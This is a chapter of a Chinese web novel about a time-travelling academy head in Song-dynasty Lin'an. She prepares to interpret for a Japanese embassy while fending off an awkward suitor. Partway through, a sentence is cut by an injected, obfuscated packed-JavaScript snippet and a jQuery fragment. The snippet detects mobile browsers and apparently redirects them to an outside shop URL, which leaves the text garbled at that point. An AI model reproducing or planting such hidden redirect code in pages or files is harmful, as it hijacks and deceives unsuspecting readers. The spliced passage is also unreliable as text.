第二日清晨,书院的钟声刚响,便有一位身着公服的年轻人骑马来访,正是鸿胪寺的小吏。
他直奔山长位,拱手行礼道:“在下奉卢寺卿之命,就相助接待扶桑使团一事,特来请问吴山长之意。”
刚到书院不久的吴黛闻言微微一笑:“有劳了,请转告卢寺卿,我已与书院诸位先生商议过,乐意相助。”
那小吏面露喜色,忙奉上早已准备好的聘书:“卢寺卿吩咐,若吴山长应下此事,便命在下将此书转交。”
吴黛接过聘书,打开一看,只见聘书字迹工整,清楚阐明“使团通事”的职责与俸禄。
她提笔在落款处郑重签下姓名,心道鸿胪寺办事不仅效率高,还如此细致周到,看来她这趟差事应得颇为值得。
她道:“还请小哥转告卢寺卿,黛定不负所托。”
小吏行礼正要告辞,却听吴黛又道:“还有一事......不知届时可否允我带一两名学生前去历练历练?”
小吏恭敬道:“在下这就回去禀告,全凭卢寺卿定夺。”
“多谢!”
待小吏离去,吴黛立即召集朱又玄和姚冠杨商议。
“昨日已我已提过选学生跟随去鸿胪寺一事。”吴黛看着两人道,“今日此事既已正式应下,想再听听你们的意见。”
朱又玄抚须思索:“我还是推荐昨日说过的那几个:杜晔才学兼备,为人稳重;汪庸能言善辩,对外邦事物也尤为好奇;还有苏应辰,观察入微,遇事冷静沉着,皆可堪使团随行之任。”
吴黛点头,目光转向一直沉默的姚冠杨:“姚先生以为如何?”
姚冠杨垂眸不语,似是没有听见,不知在想什么。
吴黛咳一声,轻轻唤了他一声:“姚先生?”
“啊?”姚冠杨抬眼撞倒吴黛的目光,有些慌神,支吾了半晌才道,“我......我都同意,山长决断便是,学生们能有此机会,实在难得。”
“怎么?姚贤弟莫不是有什么顾虑?”朱又玄看看吴黛,又看看姚冠杨,“你担心山长安危?据我所知,那扶桑人虽看着凶蛮,实则很有礼仪。”
姚冠杨耳根微红:“非也非也,只是......只是......”
这几天他只要碰着吴黛,脑子便成了浆糊,此刻也是如此,“只是”了半天,也说不出个所以然。
朱又玄笑道:“你若担心,不如自荐做个护卫如何?”
姚冠杨面上更加尴尬,目光游移不定。
吴黛见状,淡然一笑:“朱先生别打趣了,鸿胪寺接待使团,定有专门的卫队和严密的守备,哪需要什么私人护卫?”
言罢,她便去斋室教课。
吴黛还未走远,朱又玄转头压低声音问道:“你俩拌嘴了?”
姚冠杨茫然地摇摇头,忽又点点头。
朱又玄失笑:“你这又摇头又点头的,到底是也不是啊?”
姚冠杨心想他们之间如今的状态,也根本算不得吵架,究竟是什么,他想了好几天也想不明白。此刻思来,仿佛只是吴黛单方面地......冷落他。
念及此,他深深叹了一口气道:“此事一言难尽。”
朱又玄虽不曾娶妻,却也不是没经过男女情事的毛头小子,劝道:“对待小娘子要多多忍让,莫要逞一时之强。”
姚冠杨点点头,眉头却越拧越紧。
朱又玄拍了拍他的肩膀以示安慰,不再多言。
***
又过了一日,卢定云派人送来回信,不仅准允云章学生前往,还特意邀请吴黛去鸿胪寺商议使团接待细节。
吴黛隔日便去了趟鸿胪寺拜见卢定云。
鸿胪寺位于临安城的左一厢,与云章书院一南一北,相隔甚远。
这日一早,吴黛没有去书院,直接与小菱从吴府坐马车出发。到了鸿胪寺,递上聘书名帖,便有小吏引她入内。
吴黛暗自打量鸿胪寺衙,只见庭院宽敞,古木参天,青砖黛瓦间透出庄肃之气。
来到寺卿廨,卢定云早已候着,见到吴黛便迎上来:“有劳吴山长跑一趟。”
吴黛谦逊回礼:“卢寺卿客气了。”
卢定云引她入座,奉上香茗,这才进入正题。
只见他从案上取出一份文书道:“这是使团名单,共三十二人。为首的是扶桑国王特使藤原宗平,此人略通汉语且有多次出使经验;其次是扶桑国博多港①的守护木村健太,他负责此行的商贸交流。此外还有扶桑禅宗僧人重明,他此行意在交流佛法,其余的便是随行属官、僧人、译者、护卫以及仆从若干。”
卢定云详细介绍完使团主要成员的身份职位,又补充道:“虽说使团此行主要为了呈递国书以及奉朝贡礼品,以彰显两国友好关系,顺带着进行商贸佛学交流,可从使团成员构成来看,恐怕他们更重视后者。”
吴黛也分析道:“重明禅师,再加上他几位高徒的随行意义非凡,想必他们对我们大宋的佛学传承极为向往,不知他们可有想拜访的寺院或高僧?”
卢定云道:“没错,重明几年前曾来临安住过一年,带回去一些佛经、佛像。此次再来,是想拜访净慈寺的圆慧大师,此节我已让净慈寺知晓。”
吴黛又问:“那使团此行,商贸方面可有侧重?是偏重器物、药材,还是航路与市价?若能提前知晓,也好在接待和席谈时有所准备,不至临场应对失措。”
卢定云暗惊于吴黛的前瞻性考量,道:“商贸交流方面,市舶司会参与,他们那边常与扶桑人打交道,清楚对方关切所在,我们不必操心太多。”
吴黛点点头,一一记在心里。
卢定云接着解释行程:“使团将于十三日后抵达临安,先在城外驿站稍作休整,再由鸿胪寺官员护送入城,安排住在都亭驿。第一日举行欢迎宴会,第二日为朝贡大典,之后便是安排参访佛寺与商贸交流,预计整个行程为期半个多月左右。”
朝贡大典在大内皇宫举行,自然由鸿胪寺官员陪同使者觐见天子。而商贸交流与佛法交流,分别由市舶司和净慈寺负责接待安排。吴黛需要出力的,主要是去驿站接使团入城和欢迎宴。
末了,卢定云特别强调道:“扶桑使者极为看重礼仪,尤其崇尚佛学,需会些佛学典故,而且他们惯于含蓄表达,切莫过于直接。”
吴黛一边点头,一边心中叫苦。
这礼仪规矩,含蓄措辞,照着旧例揣摩揣摩,总还能学个七七八八。佛学经典临时恶补一下,也并非全无可能。可要将经义转成日语,便不是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005445|189019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两日的功夫。这个年代没有网络、手机也就罢了,放眼整个临安城,恐怕连本日语词典都没有,她这点日语底子,还远不到脱离工具、凭空转译经文的地步。
苍天!海口她是夸下了,到时候出糗岂不会社死得很难看?
***
从鸿胪寺出来,吴黛立即吩咐小菱去书市:“尽量多买些佛经,尤其是《华严经》、《法华经》这类的。另外帮我找找有没有扶桑文的书籍,不管什么内容,只要是扶桑文字就行。”
小菱很是犹疑:“小娘子,扶桑文长什么样啊?”
吴黛略一思索,心想这个时代的日本人大约书面文字都是汉语,或许会用少许假名。
她马上捡了一根树枝,在泥沙多的路面上划了几个假名:“扶桑文多数与咱们的字差不多,不过也有他们自己的字体,大致是这样的,你记着些,到了书肆好辨认。
小菱仔细看了看,记在心里,转身就要离去。
吴黛又叫住她:“多带些银两,若是贵重典籍,不要心疼钱。”说罢,解下腰间荷包,尽数交给她。
小菱应下。
吴黛目送她离去,随后急着往书院赶。一路上,她都在思索对策。
虽然她有日语基础,但要翻译佛学经典谈何容易?况且大宋时代的佛经用语与现代语言恐怕更是天差地别。
这场接待使命,怕是比她想象的要艰难得多。
回到书院,她马不停蹄召集了选定的随行学生汪庸、苏应辰和顾炎平三人。
她把从卢定云那里了解到的信息一一讲给三人听,并安排三人分头准备礼仪知识和佛学典故。
虽说他三人只是重在参与,但也需有备无患。
杜晔本在人选之列,可不巧前日他外祖母去世,无心参加使团接待,便由顾炎平代替。
三名学生领命而去,吴黛却没歇着,又转身去了藏书楼。书院所藏,记载外邦风土人情的书籍本就寥寥,她仍耐着性子一册一册翻检,希望从零星记述中拼凑出几分可用之处。
忙碌了一整日,夜色已深。
吴黛回到吴府,踏入自己小院,却不见小菱的身影,不由心头一紧。
她在房内坐立不安,来回踱步。正焦虑间,门外传来一阵轻缓的脚步声。
吴黛忙奔去开门,不见小菱,只有姚冠杨立在门外。
见她脸色变幻,他脱口问道:“在等小菱?”
吴黛嗯了一声,心中微讶,这货最近都稀里糊涂的,怎么今日智商上线了?
她只纳闷了一霎,就接着发愁自己的事了,转身幽幽地走回圆桌旁坐下,单手托腮,垂眸楞楞地不说话。
姚冠杨看在眼里,也跟着进了屋,替她倒了一杯水,推到她手边,小心翼翼地问:“我......我能问一句,你在为什么发愁吗?”
吴黛掀了掀眼皮,盯着他看了一会儿。
姚冠杨被她看得有些不自在,下意识地摸了摸脸:“怎......怎么了?我脸上......有什么不妥?”
吴黛终是嗤地一声笑了。
她觉得自己现在跟那拔那啥无情的渣男差不多,平白惹得人家老实人犯晕,而且一晕还晕这么多天,如今连说话都这么低声下气。
罪过啊,罪过!